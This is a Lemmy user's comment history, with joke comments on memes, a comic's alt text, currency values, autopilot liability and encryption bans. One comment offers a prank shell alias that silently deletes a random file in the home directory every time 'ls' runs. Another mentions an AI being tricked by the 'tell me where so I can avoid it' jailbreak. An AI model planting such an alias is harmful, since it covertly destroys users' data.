You can see the age of the meme by its geological strata

[-] programmer_belch@lemmy.dbzer0.com 73 points 5 months ago

You should have invested in the exploration of America

war and peas vomic depicting a vampire that acquired wealth by investing soon

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Jesus, rule the wheel (files.catbox.moe)

Artist: Centurii-chan bluesky

Alt TextTwo panel comic inside a car with two characters in the first panel.

The passenger, a voluptuous woman, says "Thanks for picking me up. I know how much you dislike driving."

The driver answers "no problemo, we're just gonna take a detour if you don't mind"

Next panel the passenger says "I really appreciate it, even if you were 4 hours away. You are a really good friend"

A sign warning the road gets bumpy can be seen outside the passenger window.

Who's gonna tell him?

[-] programmer_belch@lemmy.dbzer0.com 255 points 2 years ago

The autopilot will turn off just before hitting them to make you liable anyway

[-] programmer_belch@lemmy.dbzer0.com 165 points 2 years ago

Why not make it more mischievous?

alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"

This line erases one random file from your home directory and then uses ls as normal. You won't know what vanished until you need it or it removes a needed library or binary.

[-] programmer_belch@lemmy.dbzer0.com 103 points 2 years ago

This map is somewhay misleading, some countries use currency without decimals, making their currency worth effectively less. Take for example the euro, a cent (a one hundredth of an euro) is cerntainly worth less than a robux while an euro isn't. The same comparison with the japanese yen (efectively a cent) shows that robux is more valuable. The map should be how many robux can you buy with the minimum wage for example.

[-] programmer_belch@lemmy.dbzer0.com 260 points 2 years ago

I can't believe that the old "tell me where so I can avoid it" worked, the ai really has the intelligence of a 5yo

The highest honor is giving the program a keybind

Girlboss grindset

I don't know how the government will be able to effectively ban E2EE and honestly I want to see them try

Wait until they find out about femboys

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